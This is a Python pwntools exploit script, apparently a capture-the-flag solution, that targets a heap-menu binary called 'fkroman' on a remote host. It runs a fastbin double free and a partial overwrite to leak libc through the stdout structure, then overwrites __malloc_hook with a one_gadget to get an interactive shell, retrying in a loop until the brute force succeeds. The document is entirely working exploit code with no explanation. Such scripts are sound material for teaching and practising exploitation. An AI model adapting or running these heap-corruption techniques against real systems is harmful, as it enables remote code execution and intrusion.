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from pwn import *
host, port = "121.40.246.48", "9999"
filename = "./fkroman"
elf = ELF(filename)
context.arch = 'amd64'
if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.23.so')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def getConn():
return process(filename) if not args.REMOTE else remote(host, port)
def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)
def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(p,gdbscript=script)
def add(idx,size):
p.sendlineafter('Your choice: ','1')
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
def delete(idx):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index: ',str(idx))
def edit(idx,size,content):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)
def pwn():
global p
p=getConn()
add(0,0x60)
add(1,0x60)
add(2,0x60)
add(3,0x60)
edit(0,0x60,'a' * 0x50 + p64(0) + p64(0x71))
edit(1,0x60,'b' * 0x50 + p64(0) + p64(0x71))
delete(0)
delete(1)
delete(0)
add(4,0x60)
edit(4,1,'\x60')
add(5,0x60)
add(6,0x60)
add(7,0x60)
edit(7,0x10,p64(0)+p64(0xe1))
delete(1)
delete(0)
delete(2)
delete(0)
add(4,0x60)
edit(4,1,'\xd0')
add(5,0x60)
add(6,0x60)
add(7,0x60)
edit(7,0x10,p64(0)+p64(0x71))
delete(2)
add(8,0x28)
add(8,0x38)
edit(7,0x12,p64(0) + p64(0x71) + p16(0x25dd))
add(6,0x60)
add(8,0x60)
try:
edit(8,84,'0'*0x33+p64(0x0fbad1800) + p64(0) * 3 + "\x00")
except:
log.failure("not lucky enough!")
p.close()
return False
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak=%s'% hex(leak))
libc_addr=leak-0x3c5600
log.info('libc_addr=%s'% hex(libc_addr))
if libc_addr>>40 !=0x7f or libc_addr&0xfff !=0:
log.failure("fail")
p.close()
return False
log.success('libc_addr=%s'%hex(libc_addr))
fake=libc_addr+libc.sym["__malloc_hook"]-0x23
delete(6)
edit(7,0x18,p64(0) + p64(0x71) + p64(fake))
add(0,0x60)
add(8,0x60)
edit(8,27,"a"*0x13+p64(libc_addr+0xf1147))
add(0,0x60)
p.interactive()
print 'success'
p.close()
return True
while not pwn():
pass
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